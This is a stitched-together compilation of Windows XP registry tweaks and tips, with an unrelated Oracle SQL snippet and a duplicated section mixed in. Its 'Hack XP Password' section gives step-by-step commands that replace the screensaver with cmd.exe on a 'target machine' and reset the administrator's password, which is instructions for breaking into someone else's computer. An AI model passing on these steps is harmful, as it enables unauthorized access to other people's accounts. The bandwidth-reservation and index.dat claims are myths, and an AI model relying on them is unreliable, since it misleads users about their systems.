Switch to Windows' basic search tool

Open the Registry Editor. Now Navigate to HKEY_CURRENT_USER\Software \Microsoft\Windows\CurrentVersion\Explorer \ Cabinet State. Go to Edit New String Value. Name the new value. Double-click the new value, type no in the Value Data text box, and click OK. Close the Registry Editor, and restart the system. To switch back to the Search Companion, just go back to the Registry Editor, and change the Value Data to yes.

Faster Network Access

When you use My Network Places to browse for other machines on your network, Windows XP first checks for the scheduled tasks on the target machine before listing the shared resources present on the computer. We can do a registry hack to avoid this delay. Invoke the Registry Editor by typing regedit at the command line. Open the following Registrykey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace. Delete the following key {D6277990-4C6A-11CF- 8D87-00AA0060F5BF}. Now close the Registry and reboot.

Customize the “Send To” Option

Adding new locations and programs and taking away existing ones that you never use from this menu is very simple. It's easy to hack. Go to C:\Documents and Settings\\SendTo, where is your username with which you login to your system. The older will be filled with shortcuts to all the locations you find on your “Send To” context menu. To remove an item from the Send To menu, delete the shortcut from the folder. To add an item to the menu, add a shortcut to the folder by highlighting the folder, choosing File  New Shortcut, and follow the instructions for creating a shortcut. The new setting will take effect immediately

Add “Copy To Folder” and “Move To Folder” in a Right-Click Menu

Go to HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers. Shellex. It tells you it's a shell extension key that lets you customize the user shell or the interface. Create a new key called Copy To. Set the value to {C2FBB630-2971-11d1- A18C-00C04FD75D13}. Create another new key called Move To. Set the value to {C2FBB631-2971-11d1-A18C-00C04FD75D13}. Exit the Registry. The changes should take effect immediately. The Copy To Folder and Move To Folder options will appear. When you right-click a file and choose one of the options, you'll be able to move or copy the file using a dialog box.

Un-install Wordpad, Automatic Update, Messenger, Pinball etc

Use Notepad or another text editor to open the Setup Information file, sysoc.inf, which is generally found in the C:\WINDOWS\INF folder. For this folder to be visible, you will have to enable hidden folders by going into Windows Explorer and choosing Tools Folder Options View Show Hidden Files and Folders. The lines in the file follow the format: 


program=program.dll,OcEntry,program.inf,,numeral


The Pinball game entry, as an example, looks like this:
Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7.


Remove the word HIDE from the entry that refers to the component you want to remove. Save the sysoc.inf file, and run the Windows Components Wizard under Add/Remove programs. The component will now show up in the wizard. Remove it as you would any other component.

Turn Off Window Animation

You can shut off the animation displayed when you minimize and maximize Windows. Open Registry Editor and go to HKEY_CURRENT_USER\Control panel \Desktop\WindowMetrics. Create a new string value "MinAnimate". Set the value data of 0 for Off or 1 for On

Add a program to the Right Click Menu So as to Use it Everywhere by just doing a Right-Clicking

When you right click on any folder, you can have access to that application, the same as using Sent To and New. Open Registry Editor. Navigate and choose: HKEY_CLASSES_ROOT\Folder\shell. Add a new Key to the "Shell" Key and name it anything you like. Give it a default value that will appear when you right click a folder, i.e. NewKey (use an "&" without the quotes, in front of any character and it will allow you to use the keyboard). Navigate and click on the registry key HKEY_CLASSES_ROOT\Folder\shell\NewKey. Now you have to add a New Key named Command and Set the (Default) value of the application you want to run. For example: c:\program files\internet explorer\iexplore.exe (Include the full path)

Create a drive menu for My Computer

Windows XP makes it easy for you to configure My Computer so it works like a menu, with

each drive listed as a menu item. Here's how. Right-click the Start button, and select Properties.Click Customize, which is adjacent to the Start Menu radio button, and select Advanced. Scroll through the Start Menu Items list box until you see My Computer. Select Display As A Menu, and click OK twice. Now, when you select My Computer from the Start menu, you'll see a menu of individual drives. To access the contents of that drive, just select the drive letter from the menu

Change Icons of your Desktop Objects (MyComputer, Recycle bin..)

Go to HKEY_CLASSES_ROOT\CLSID, and look for the CLSID subkey from the table above for

the object whose icon you want to change. Open the subkey and then the DefaultIcon subkey under that. To change the icon for My Computer, open the subkey HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon.

Change the Default value to the path of the icon that you want displayed. Follow the same

for changing the icons of ther items as well. Exit the Registry. You might have to reboot for

the new settings to take effect. If you aren't able to change your icons still, then try editing the following: HKEY_CURRENT_USER\Software\Microsoft \Windows\CurrentVersion \

Explorer\ CLSID\, and you will be in.

Change Text and Baloon Tip Associated With All Desktop Icons

You need to know the object's class ID (CLSID), which uniquely identifies each system object. The following table lists the CLSIDs for common desktop objects. CLSIDs for desktop objects


Desktop object                            CLSID
My Computer                      {20D04FE0-3AEA-1069-A2D8-08002B30309D}
Recycle Bin                         {645FF040-5081-101B-9F08-00AA002F954E}
Microsoft Outlook               {00020D75-0000-0000-C000-000000000046}
Internet Explorer                 {FBF23B42-E3F0-101B-8488-00AA003E56F8}
The Internet                         {3DC7A020-0ACD-11CF-A9BB-00AA004AE837}
My Network Places            {208D2C60-3AEA-1069-A2D7-08002B30309D}
Briefcase                             {85BBD920-42A0-1069-A2E4-08002B30309D}
Dial-Up Networking            {992CFFA0-F557-101A-88EC-00DD010CCC48}


Run the Registry Editor, go to HKEY_CLASSES_ROOT\CLSID, a key that lets you change
characteristics of system objects, and highlight the CLSID whose name or balloon text you want to change. For example, to change My Computer, highlight the subkey HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}. Keep
in mind that HKEY_CLASSES_ROOT\CLSID has many CLSIDs listed under it, so it might
take you a while to find the proper subkey. Once you find the right subkey, if you want to edit the name of the object, open the Default value and type in the text that you want to appear underneath the object. If you want to edit the balloon text for the object, open the InfoTip value and type in the text that you want to appear as balloon text. Once you're done, exit the Registry and reboot.

Change “AM” and “PM” Displayed Near the System Clock to Any Text You want

 You can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. Do not use this tip if you are using any software during the trial period as it will corrupt the trial license. Open the RegEdit and navigate to the following registry key: KEY_CURRENT_USER\ControlPanel\International. Add two new String values, "s1159" and "s2359". Most probably those keys will be already present. If it is not there then create them. Right click the value name and modify. Enter anything you like up to 8 characters. If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM

Secrets Behind The Run Registry key

You can start or stop programs from executing at bootup by adding or deleting them to/from the run Keys in the Registry. Windows loads programs to start in the following order; Program listed in the Local Machine hive, then the Current User hive, then theWin.ini Run= and Load = lines and then finally programs in your Start Up folder.
To add or remove programs in the Registry.Open RegEdit. .Go to the desired Key:


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Micrsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices


Add a new String Value and name it anything you like. For the value data, enter the path and executable for the program you want to run. By adding the value to the KEY_CURRENT_USER hive instead allows the program to start only when that user is logged on. If you add the value to the RunOnce key the program will run once and be removed from the key by Windows

Kill the “Most Frequently Used”(MFU) list instead of Banning

Kill the “Most Frequently Used”(MFU) list instead of Banning
Go to HKEY_CURRENT_USER\ Software\ Microsoft \Windows \CurrentVersion \Policies\
Explorer. Create a new DWORD called NoStartMenuMFUprogramsList and give it a value
of 1. You'll have to reboot or log off and back on for the setting to take effect. You have now
managed to get kick the MFU list out of you menu.

Banning Programs from “Most Frequently Used” list:

Banning Programs from “Most Frequently 

Used” list:

Take a look at this for it is very interesting. If any of the following words or phrases is included in the program's shortcut name, the program will be excluded from the list: Documentation, Help, Install, More Info, Readme, Read me, Read First, Setup, Support, and What's New. Additionally, the following executables are excluded from the list: Setup.exe, Install.exe, Isuninst.exe, Unwise.exe, Unwise32.exe, St5unst.exe, Rundll32.exe, Explorer.exe, Icwconn1.exe, Inoculan.exe, Mobsync.exe, Navwnt.exe, Realmon.exe, and Sndvol32.exe.

Run the Registry Editor and go to HKEY_CLASSES_ROOT\Applications. Underneath this

key, you'll find a series of subkeys, each representing an application. The primary purpose of

these su-keys is to determine whether the program appears on the Open With dialog box that

appears whenever you try to open an unknown file type. But you can also add a value to any

of the subkeys which will ban programs from appearing on the Most Frequently Used Programs List. Look for a subkey that is the executable name of the application you want to ban from the

list; for example, visio.exe for the Visio business illustration program. Once you find the application's subkey, create a new String value for that subkey, named NoStartPage. Leave

the value blank. Exit the Registry. You might have to reboot for the setting to take effect and the program to be banned from the list.

 Change the Number of Programs That Appear on the List

By default, the Most Frequently Used Programs List has room for six programs, but you can

change that default and have more or fewer programs appear. Right-click the Start button and

choose Properties. Then choose the tab “Start Menu”. Under this tab, choose Start Menu

Customize General. To customize the number of programs to include on the list, edit the

"Number of programs on Start menu" box. You can choose any number between 0 and 30.

No matter how high your resolution is, don't expect there to be room for 30 programs

Hack XP Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly. Forget about the explanations as it is for the sake of clarity purpose Command Expalnation


cd\ *drops to root


cd\windows\system32 *directs to the system32 dir


mkdir temphack *creates the folder temphack


copy logon.scr temphack\logon.scr *backsup logon.scr


copy cmd.exe temphack\cmd.exe *backsup cmd.exe


del logon.scr *deletes original logon.scr


rename cmd.exe logon.scr *renames cmd.exe to logon.scr


exit *quits dos


Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. Once this happens if you enter this command minus the quotes "net user here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and you should be in.

Automatically Turn On Num Lock, Scroll Lock, and Caps Lock

When you start your PC, Num Lock, Scroll Lock, and Caps Lock don't automatically toggle on. You can automatically turn each of them on or off whenever your PC starts, for all accounts on the PC. As a practical matter, most people probably want to have only Num Lock automatically turned on, but this Registry hack allows you to force any combination of keys on or off. Run the Registry Editor [Hack #83] and go to HKEY_USERS\.Default\Control Panel\Keyboard. Find the String value InitialKeyboardIndicators. By default, it is set to 0, which means that Num Lock, Scroll Lock, and Caps Lock are all turned off. Set it to any of the following values, depending on the combination of keys you want turned on or off:
0-Turns off Num Lock, Caps Lock, and Scroll Lock
1-Turns on Caps Lock
2-Turns on Num Lock
3-Turns on Caps Lock and Num Lock
4-Turns on Scroll Lock
5-Turns on Caps Lock and Scroll Lock
6-Turns on Num Lock and Scroll Lock
7-Turns on Caps Lock, Num Lock, and Scroll Lock
Exit the Registry. When you restart, the new setting will take effect.

Control User Logins by Hacking the Registry

To control logon options, run the Registry Editor [Hack #83] and go to the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion Winlogon subkey, which contains a variety of logon settings (as well as some settings not having to do directly with logons). Following are the most important values you can edit to customize logons. 


DontDisplayLastUserName This setting lets you control how the system logon dialog box is used. If this String value is present and set to 1, all users will have to enter both their username and password to log on. If the value is 0, the name of the last user to log on will be
displayed in the system logon dialog box.


DefaultUserName This String value contains the name of the last user who logged on. It will be displayed only if the DontDisplayLastUserName value is not present or is set to 0.
LegalNoticeCaption and LegalNoticeText// Already discussed 


PasswordExpiryWarning This DWORD value lets you display a warning message to users a certain number of days before their passwords are set to expire. It lets you determine how many days ahead of time the warning should be issued. To edit the value, click the decimal
button and enter the number of days.


ShutdownWithoutLogon This String value enables or disables a button on the XP logon dialog box that lets the system shut down. A value of 1 enables the button (so that it is shown); a value of 0  disables the button (so that it is not shown).


Shell It determines the shellthe user interfacethat will be used by XP. The default is Explorer.exe, but it can be another shell as wellfor example, the Program Manager from older Windows versions. Type in the name of the program; for example, Progman.exe for the Program Manager, or Taskman.exe for the Task Manager.


AutoRestartShell This DWORD value doesn't have to do with logons either, but it's another good one to know. It sets whether to automatically restart the Windows shell if the shell crashes. A value of 1 automatically restarts the shell. A value of 0 tells XP not to restart the shell, forcing you to log off and then back on again to restart it.

Play around registry- More Options

Launch Regedit and go to the following Registry Key: HKEY_CURRENT_USER /Software/Microsoft/CurrentVersion/Policies Under this key, there will definitely be a key named explorer. Now under this explorer key we can create new DWORD values and modify it's value to 1 in order to impose the restriction. If you want to remove the Restriction, then you can simply delete the respective DWORD values or instead change their values to 0. The following is a list of DWORD values that can be created under the Explorer Key:

Change Internet Explorer's Caption

Open the registry editor and go to HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft \Internet Explorer\Main. In the right pane create a new String Value name Window Title (Note the space between Window and Title). Right click on this newly created String Value and select Modify. Type in the new caption you want to be displayed. Restart for the settings to take place.

Shutdown and Reboot in Style

  

Turning off or rebooting XP involves a several-step process: click the Start menu, choose Shut Down, and then select Shut Down or Restart. If you want, however, you can exit or reboot much more quickly, by creating a shortcut that enables one-click shutdowns. You can also use the shortcut to customize the shutdown or reboot for example, by displaying a specific message or automatically shutting down any programs that are running.


First, create a shortcut on your desktop by right-clicking the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, doubleclicking it will shut down your PC. But you can do much more with a shutdown shortcut than merely shut down your PC.
You can add any combination of several switches to do extra duty, like this:


shutdown -r -t 01 -c "Rebooting your PC"


Double-clicking that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. 
Switches you can use with shutdown             Switch What it does
-s                                                                      Shuts down the PC.
-l                                                                        Logs off the current user.
-t nn                          Indicates the duration of delay, in seconds, before performing the action.
-c            "messagetext" Displays a message in the System Shutdown window. A maximum
of 127 characters can be used. The message must be enclosed in quotation marks.


-f                         Forces any running applications to shut down.
-r                         Reboots the PC.


Here are the ones I use for shutdowns and restarts:


Shutdown -s -t 03 -c "See you later!"


shutdown -r -t 03 -c "You can't get rid of me that quickly!"


You always have to turn from the CPU after running this command. (Same with AT and ATX powered machines.) If you want to turn down power of ATX machine automatically, run the following commnd "c:\windows\system32\tsshutdn.exe 00 / POWERDOWN / DELAY:00" This is used to turn off a server. Even though you don't have networked computers attached to your computer, this works.

Disabling Drives in My Computer

To disable the display of local or networked drives when you click My Computer go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies \Explorer Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal). Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item.

Increasing Band-Width By 20%

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor. Then go to: Local Computer Policy Computer Configuration Administrative Templates Network  QOS Packet Scheduler and then to LimitReservableBandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default." So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Internet Explorer As Fast As FireFox:

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigateto key HKEY_CURRENT_USER\Software\microsoft\Windows\ Current Version \InternetSettings. Right click on the right windows > New > DWORD. Type MaxConnectionsPerServer > You can set value (the more higher the no, the more good speed eg:99). Create another DWORD >type MaxConnectionsPer1_0Server. Then put a high value as mentioned above. Restart I.E and you are done.

Delete INDEX.DAT (Faster Browsing)

First of all open up the command prompt. For that go Start Run cmd. Now press CTRL + ALT + DELETE to bring up the task manager. In the task manager, go to processes and click on explorer.exe. End the “explorer.exe” task. All the windows will be closed down. Don’t panic. You can still see the command prompt. In the command prompt type the following command exactly as it is: Del "C:\Documents and Settings\\Local Settings\Temporary
Internet Files\Content.IE5\index.dat" 


Note is the name that you use to log in to your windows. Some log in as “administrator” while some with another name eg: Sandeep. Whatever it is, type that name. This will also help in fixing all the issues related to browser performance, especially the ones that cause browser to hang frequently.

Speed up IE Start Up

This tweak tells Internet Explorer to simply 'run', without loading any webpages. If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded. To load IE with 'nothing' [nothing is different than blank]:
1. Right-click on any shortcut you have to IE
[You should create a shortcut out of your desktop IE icon, and delete the original icon]
2. Click Properties
3. Add -nohome [with a space before the dash] after the endquotes in the Target field.
4. Click OK

DMA Mode for CD-ROMs

Like Windows 2000, Windows XP still fails to set the DMA mode correctly for the IDE device designated as the slaves on the primary IDE and secondary IDE channels. Most CD- ROMS are capable of supporting DMA mode, but the default in XP is still PIO. Setting it to DMA won't make your CD-ROM faster, but it will consume less CPU cycles. Here's how: Open the Device Manager. One way to do that is to right click on "My Computer", select the Hardware tab, and Select Device Manager. Expand "IDE ATA/ATAPI Controllers" and double-click on "Primary IDE Channel" .Under the "Advanced Settings" tab, check the "Device 1" setting. More than likely, your current transfer mode is set to PIO. Set it to "DMA if available". Repeat the step

for the "Secondary IDE Channel" if you have devices attached to it. Reboot.

Cleaning Recent Docs Menu and the RUN

The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key: HKEY_CURRENT_USER\Software\Microsoft\ Windows\ CurrentVersion\Policies\Explorer. Now in the right pane, create a new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes. You can also clear the RUN MRU history. All the listings are stored in the key: HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\ Explorer\ RunMRU. You can delete individual listings or the entire listing. To delete History of Find listings go to: HKEY_CURRENT_USER\Software\ Microsoft \ Windows \CurrentVersion\Explorer\Doc Find Spec MRUand delete.

Display the number value in Words

SQL> select sal, (to_char(to_date(sal,'j'), 'jsp')) from emp;


the output like,


SAL (TO_CHAR(TO_DATE(SAL,'J'),'JSP'))
--------- -----------------------------------------------------
800 eight hundred
1600 one thousand six hundred
1250 one thousand two hundred fifty


If you want to add some text like, Rs. Three Thousand only.


SQL> select sal "Salary ",(' Rs. '|| (to_char(to_date(sal,'j'), 'Jsp'))|| ' only.')) "Sal in Words" from emp 
/


Salary Sal in Words
------- ------------------------------------------------------
800 Rs. Eight Hundred only.
1600 Rs. One Thousand Six Hundred only.
1250 Rs. One Thousand Two Hundred Fifty only.

Delete files using Disk Cleanup

If you want to reduce the number of unnecessary files on your hard disk to free up disk space and help your computer run faster, use Disk Cleanup. It removes temporary files, empties the Recycle Bin, and removes a variety of system files and other items that you no longer need. For more information about deleting files from the Recycle Bin, seePermanently delete files from the Recycle Bin.

To delete files using Disk Cleanup

The following procedure cleans up files associated with your user account. You can also use Disk Cleanup to clean up all the files on your computer.

1. Open Disk Cleanup by clicking the Start button . In the search box, type Disk Cleanup, and then, in the list of results, click Disk Cleanup.
2. In the Drives list, click the hard disk drive that you want to clean up, and then clickOK.
3. In the Disk Cleanup dialog box, on the Disk Cleanup tab, select the check boxes for the file types that you want to delete, and then click OK.
4. In the message that appears, click Delete files.

Disable 8.3 Name Creation in NTFS

Files that use the 8.3 naming convention can degrade NTFS drive performance. Unless you have a good reason for keeping the 8.3 naming convention intact (such as if you’re using 16-bit programs), a performance gain can be achieved by disabling it. Set the Registry DWORD key HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation to 1. Exit the
Registry and reboot.

Place Windows Kernel into RAM

It’s a given that anything that runs in RAM will be faster than an item that has to access the hard drive and virtual memory. Rather than have the kernel that is the foundation of XP using the slower Paging Executive functions, use this hack to create and set the DisablePagingExecutive DWORD to a value of 1. Perform this hack only if the system has 256MB or more of installed RAM! Edit the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\MemoryManagement\DisablePagingExecutive to 1 to disable paging and have the kernel run in RAM (set the value to 0 to undo this hack). Exit the Registry and reboot

Add Specific Folders to Open Dialog Box (XP Home only)

When you use certain Windows applications (such as Notepad) to open a file, on the left side of the Open dialog box are a group of icons and folders (such as My Documents, My Recent Documents, Desktop, My Computer, and My Network) to which you can navigate to open files. A registry hack will let you put just the folders of your choosing on the left side of the Open dialog box. Note that when you do this, it will affect XP applications such as Notepad and Paint that use the Open and Save common dialog boxes. However, it won’t affect Microsoft Office applications and other applications that don’t use the common dialog boxes. Run the Registry Editor and go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\comdlg32. This is the key that determines how common dialog boxes are handled.

You’re going to create a subkey that will create a customized location for the folders, and then give that subkey a series of values, each of which will define a folder location.To start, create a new subkey underneath EY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\ Policies\comdlg32 called Placesbar,and create a String value for it named Place0. Give Place0 a value of the topmost folder that you want to appear on the Open dialog box, for example, C:\Projects. Next, create another String value for Placesbar called Place1. Give it a value of the second folder that you want to appear on the Open dialog box. You can put up to five icons on the Open dialog box, so create new String values up to Place4 and give them values as outlined in the previous steps. When you’re done, exit the Registry. You won’t have to reboot for the changes to take effect. If you do not want any folders to appear in common Open dialog boxes, you can do that as well. In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\comdlg32, create a new DWORD value called NoPlacesBar and give it a value of 1.

Exit the Registry. If you want the folders back, either delete NoPlacesBar or give it a value of 0.

Turn Off System Beeps

Go to HKEY_CURRENT_USER\Control Panel\Sound, and find the Beep and ExtendedSounds String values. Set each value to No. Exit the Registry and reboot. The beeps will no longer sound. Hey, your XP is no longer noisy!!

Hide All Icons in the Notification Area

The system tray, also called the notification area, is the small area on the far right side of the taskbar, in which utilities and programs that run in the background, such as antivirus software, show their icons. I don’t find it a particularly intelligent use of screen real estate, so I prefer not to see the icons there. To hide them, run the Registry Editor and go to the following key:

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer. 

Among other things, this key controls the display of objects throughout XP. Create a new DWORD called NoTrayItemsDisplay. Assign it a value of 1. (A value of 0 will keep the icons displayed.) Exit the Registry and reboot.

While you’re at the HKEY_CURRENT_USER/Software/Microsoft/Windows/ CurrentVersion/Policies/Explorer key, you can also delete the My Recent Documents icon on the Start menu. Create a new DWORD called NoRecentDocsMenu. Assign it a value of 1. (A value of 0 will keep the icon displayed.) Exit the Registry and reboot.

Hide All Icons in the Notification Area

The system tray, also called the notification area, is the small area on the far right side of the taskbar, in which utilities and programs that run in the background, such as antivirus software, show their icons. I don’t find it a particularly intelligent use of screen real estate, so I prefer not to see the icons there. To hide them, run the Registry Editor and go to the following key:

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer. 

Among other things, this key controls the display of objects throughout XP. Create a new DWORD called NoTrayItemsDisplay. Assign it a value of 1. (A value of 0 will keep the icons displayed.) Exit the Registry and reboot.

While you’re at the HKEY_CURRENT_USER/Software/Microsoft/Windows/ CurrentVersion/Policies/Explorer key, you can also delete the My Recent Documents icon on the Start menu. Create a new DWORD called NoRecentDocsMenu. Assign it a value of 1. (A value of 0 will keep the icon displayed.) Exit the Registry and reboot.

Pop Up a Message at Start Up

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.

Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box.

Rework System Restore

The amount of space Windows uses for restore points is a little more complicated than a single percentage value. The Registry includes its own setting for the maximum disk space given to System Restore, and Windows uses whichever amount is larger: the percentage you specify via the System Properties dialog box, or the Registry's maximum value. Any disk space you free up via System Properties won't instantly be used by System Restore; it will be available until a new restore point requires more space than the amount allotted via the percentage value. The percentage and max values tell Windows only when to stop making new restore points. 


To lock in your System Restore allocation, open the Registry Editor and navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore.  Select the SystemRestore icon in the left pane to see several icons appear in the right pane. Do not experiment with just any of these icons! While you an safely change the value of some of them, Microsoft warns that others should not be altered under any circumstances. Fortunately, you can safely edit the values for the DiskPercent and DSMax icons, which control System Restore's disk-space allotments. To change the maximum amount of disk space System Restore will use (providing it's larger than the percentage value), double-click the DSMax icon. In the Edit DWORD Value dialog box, click Decimal so you can see the specified number of megabytes in the 'Value data' box (the default on most systems is '400'). Change this to the desired amount, and click OK.


While you're there, you can also safely edit the DSMin value, which specifies the minimum space System Restore needs to work at all. Normally, if free space on your Windows drive gets too low, System Restore shuts down and makes no restore points until you have at least 200MB of free space. Setting this value determines the amount of disk space at which System Restore will wake up and attempt to start saving restore points again. However, just because System Restore will try to do so, it won't necessarily succeed if the available space is too small. Unfortunately, we know of no method to determine how much space a single restore point will require, so setting this amount too low could render the feature useless. Still, you can fit a lot of system files in 100MB of disk space.


To change this value, double-click the DSMin icon, click Decimal, and enter your desired amount of free disk space (in megabytes) in the 'Value data' box. Click OK .

Find Every File

When you search for a file in Windows Windows searches only for file types it recognizes. Files that aren't listed in the 'Registered file types' list are ignored. Fortunately, a simple edit of the Registry will make Windows search for every file, regardless of its extension. Open the Registry Editor as described above, and then navigate to and select:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex.

 Double-click the FilterFilesWithUnknownExtensions icon in the right pane, change the 0 in the 'Value data' box to 1, and press Enter. To ensure that Windows XP searches for every possible file, select All Files and Folders under 'Type of file' in the Search Companion pane. (If you don't see this option, click More Advanced Options.) Check Search system folders, Search hidden

files and folders, and Search subfolders (as desired). In Windows 2000, click Search Options, check Type, and make sure that (All Files and Folders) is selected in the resulting drop-down menu. Check Advanced Options, and make sure Search Subfolders is checked. Finally, to ensure that Windows 2000 finds system and hidden files, choose Tools, Folder Options and click the View tab. In the 'Advanced settings' list, select Show hidden files and folders. Uncheck Hide protected operating system files (Recommended), click Yes to acknowledge the warning, and finish by clicking OK

Hack Your BIOS for Faster Startups

You can speed up your startup procedures by changing the BIOS with the built-in setup utility. How you run this utility varies from PC to PC, but you typically get to it by pressing the Delete, F1, or F10 keys during startup. You'll come to a menu with a variety of choices. Here are the choices to make for faster system startups: 


Quick Power On Self Test (POST) When you choose this option, your system runs an abbreviated POST rather than the normal, lengthy one.


Boot Up Floppy Seek Disable this option. When it's enabled, your system spends a few extra seconds looking for your floppy drivea relatively pointless procedure, especially considering
how infrequently you use your floppy drive.


Boot Delay Some systems let you delay booting after you turn on your PC so that your hard drive gets a chance to start spinning before bootup. Most likely, you don't need to have this
boot delay, so turn it off. If you run into problems, however, you can turn it back on.